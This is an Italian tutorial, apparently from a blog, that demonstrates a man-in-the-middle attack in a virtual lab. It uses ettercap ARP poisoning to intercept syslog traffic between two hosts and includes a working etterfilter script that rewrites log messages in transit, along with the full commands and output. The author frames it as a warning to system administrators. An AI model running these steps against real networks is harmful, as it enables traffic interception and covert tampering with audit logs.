Troppo spesso mi rendo conto che molti considerano la rete aziendale o quella casalinga come sicura, pensando cioè che nessuno possa sapere quello che entra ed esce da e verso il proprio PC. Si pensa cioè che nessuno possa intercettare i nostri dati.

Ovviamente questo non è vero... a meno che non si usino trasmissioni basate su sistemi crittografici ben testati e liberamente studiabili per proteggere le proprie comunicazioni. In questo caso infatti le possibilità di essere intercettati è praticamente nulla.

Si noti che ho detto intenzionalmente «liberamente studiabili», sì perché un sistema è sicuro solo se è dimostrato che è sicuro e non perché ce lo assicura qualcuno... men che meno chi ce lo vuol vendere (mai fidarsi dei venditori! n.d.a. :). Di solito i sistemi basati sul Software Libero hanno questa caratteristica perché sono gli unici che possono essere validati da chiunque a partire dal codice sorgente fino al processo di compilazione.

Per sottolineare quanto detto, e quindi dimostrare come sia facile effettuare un banale attacco informatico in una LAN aziendale e/o casalinga userò ettercap. Con ettercap è possibile realizzare un attacco di tipo man-in-the-middle in una rete LAN dimostrando così molto velocemente come questa non sia assolutamente sicura se non si prendono le dovute precauzioni.

Naturalmente è possibile usare ettercap non solo per azioni cattive, ma anche per quelle buone: è possibile infatti usarlo anche per scoprire altri attacchi di tipo man-in-the-middle e proteggere quindi la propria LAN!

Quello che vi mostrerò in questo articolo serve solo per fare un esempio di quello che potrebbe succedere se non si protegge la propria LAN in maniera opportuna e non va inteso in nessun modo come un esempio di come compiere azioni illegali! Al contrario, serve a far vedere agli amministratori di sistema distratti da cosa si devono difendere!

Come esempio vediamo come taroccare i messaggi di log che un sistema può inviare ad un server il quale ha il compito di memorizzarli sui sui dischi interni per successive analisi da parte degli amministratori di rete. Questo sistema di invio dei log è standard su molti sistemi ma purtroppo presenta gravi lacune di sicurezza non utilizzando nessun sistema di crittazione e/o autenticazione per lo scambio dati!

Ma procediamo passo passo ed installiamoci ettercap; sulla mia ubuntu do semplicemente:

# aptitude install ettercap

e poi facciamo alcune supposizioni:

1. Per effettuare l'attacco man-in-the-middle dobbiamo avere un PC nella sottorete da attaccare; supponiamo di avere una LAN di classe C con indirizzi nella sottorete 192.168.56.0/24.
2. Supponiamo poi di sapere quale sia l'IP del server che raccoglie i log dei sistemi apparteneti alla sottorete; nel nostro caso 192.168.56.4.
3. Il nostro attacco, in fine, si baserà sul modificare i log che un host invia al server; supponiamo che il suo IP sia 192.168.56.3.

Il punto 1. sembra molto difficile da realizzare, ma in realtà non lo è; infatti in molti casi gli attacchi ad un sistema informatico avvengono proprio da dentro la LAN e non dal di fuori! Nel nostro caso poi il fatto di voler inquinare i messaggi di log di un sistema è voluto proprio da chi sta dentro la LAN in modo da mascherare le (possibili) attività illecite che si vogliono perpretare.

Il punto 2. è anch'esso banale da realizzare. Riuscire a sapere l'IP di un server di un servizio pubblico è molto semplice, addirittura per un dipendente infedele basterà chiederlo all'amministratore di sistema...

Il punto 3. dice quale sarà il tipo di attacco che vogliamo realizzare, ma ne potremmo fare molti altri: carpire password, sniffare e-mail, sapere quali siti web vengono visitati da un PC, ecc..

Appurato questo facciamo uno schema del nostro attacco man-in-the-middle; normalmente la connessione tra il log server e un qualsiasi PC è:

                     +-----------+

                     |    HUB    |
                     +-+-+-+-+-+-+

                       |   |   |
        +--------------+   |   +--------------+

        |                  |                  |

+-------+-----------+      |        +---------+---------+

|    Log Server     ||        PC         |
|   192.168.56.4    |      |        |   192.168.56.3    |

| 08:00:27:E1:B6:C0 |      |        | 08:00:27:6c:b3:7f |

+-------------------+      |        +-------------------+

                           |

                   +-------+-----------+

                   |       MITM        |

                   |   192.168.56.1    |

                   | 0a:00:27:00:00:00 |

                   +-------------------+

In nero ho riportato i collegamenti fisici, mentre in rosso quelli logici (quelli cioè che vengono visti dagli utenti dei vari sistemi). Ho anche riportato la connesione fisica della macchina MITM che uso per eseguire l'attacco man-in-the-middle e dove ho installato ettercap, la quale, al momento, non ha nessun tipo di colloquio coi due sistemi vittima.

In queste condizioni le tabelle ARP dei due sistemi sono, per il log server:

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.3             ether   08:00:27:6c:b3:7f   C                     eth0

mentre per il PC:

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.4             ether   08:00:27:E1:B6:C0   C                     eth0

Ora iniziamo ad analizzare i pacchetti di log che i due sistemi si scambiano generando dei messaggi del tipo:

Aug 26 16:19:56 192.168.56.3 root: System is doing something evil

(per generare questi messaggi ho usato il comando logger)

Quindi abilitiamo l'attacco man-in-the-middle sulla macchina MITM e sniffiamo tutti i pacchetti che le due macchine si scambiano, ettercap ci mostra allora il seguente output:

# ettercap -T -i vboxnet0 -M arp /192.168.56.3/ /192.168.56.4/
[sudo] password for giometti:

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on vboxnet0... (Ethernet)

vboxnet0 ->    0A:00:27:00:00:00      192.168.56.1     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.56.3 08:00:27:6C:B3:7F

GROUP 2 : 192.168.56.4 08:00:27:E1:B6:C0
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help



Thu Aug 26 16:20:01 2010
UDP  192.168.56.3:514 --> 192.168.56.4:514 |

root: System is doing something evil

(non tenete conto delle date, potrebbero non essere coerenti, ciò è dovuto ad errate impostazioni dei timer di sistema e alle varie revisioni dell'articolo... inoltre, come avrete capito, il test l'ho fatto con delle macchine virtuali che girano su Virtualbox)

Se ora andiamo a ricontrollare la tabella ARP del log server:

root@node00:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.3             ether   0a:00:27:00:00:00   C                     eth0

e del PC:

sarge:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.4             ether   0A:00:27:00:00:00   C                     eth0

vediamo subito che sono state modificate: l'attacco è quindi in atto! Da ora in poi tutti i pacchetti da e verso i due PC vittima passeranno dal sistema (MITM) che attua l'attacco, si ha cioè una connessione logica (in rosso) del tipo:

                     +-----------+

                     |    HUB    |
                     +-+-+-+-+-+-+

                       |   |   |
        +--------------+   |   +--------------+

        |                  |                  |

+-------+-----------+      |        +---------+---------+

|    Log Server     |      |        |        PC         |
|   192.168.56.4    |      |        |   192.168.56.3    |

| 08:00:27:E1:B6:C0 |      |        | 08:00:27:6c:b3:7f |

+-------------------+      |        +---------+---------+

             ^             |                  ^

             |     +-------+-----------+      |

             |     |       MITM        |      |

             +---->|   192.168.56.1    |<-----+

                   | 0a:00:27:00:00:00 |

                   +-------------------+

Infatti, come mostrato, ettercap ci fa vedere il traffico di rete che intercorre tra le due macchine... ma non solo! Con ettercap lo possiamo anche modificare questo traffico di rete, basta usare un filtro. Un filtro ettercap è un programma scritto in un linguaggio molto simile al C e che può essere usato per analizzare e/o modificare al volo i pacchetti di rete intercettati da ettercap.

Il codice sorgente di un filtro appare come segue:

if (udp.src == 514 || udp.dst == 514) {
        if (search(DATA.data, "evil")) {
                replace("evil", "good");
                msg("string \"evil\" replaced!\n");
        }
}

ed il significato è abbastanza banale: se un pacchetto è di tipo UDP con porta sorgente o destinataria 514 e dentro il campo dati del medesimo pacchetto trovi la stringa evil, rimpiazzala con la stringa good e mostra il messaggio string "evil" replaced! all'utente ettercap.

Ora salviamo il filtro nel file syslog.filter e compiliamolo salvando il compilato del file syslog.filter.ef:

$ etterfilter syslog.filter -o syslog.filter.ef

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA


12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'syslog.filter'  done.

Unfolding the meta-tree  done.

Converting labels to real offsets  done.

Writing output to 'syslog.filter.ef'  done.

-> Script encoded into 9 instructions.

quindi rilanciamo ettercap con il nuovo filtro:

# ettercap -T -i vboxnet0 -M arp -F syslog.filter.ef /192.168.56.3/ /192.168.56.4/

Se ora mandiamo un nuovo messaggio di log come già fatto prima, ettercap ci dice:

Thu Aug 26 16:25:41 2010
UDP  192.168.56.3:514 --> 192.168.56.4:514 |

root: System is doing something evil

string "evil" replaced!

mentre il log server ci mostra il messaggio:

Aug 26 16:25:45 192.168.56.3 root: System is doing something good

Il messaggio di log è stato taroccato! Facile no? :)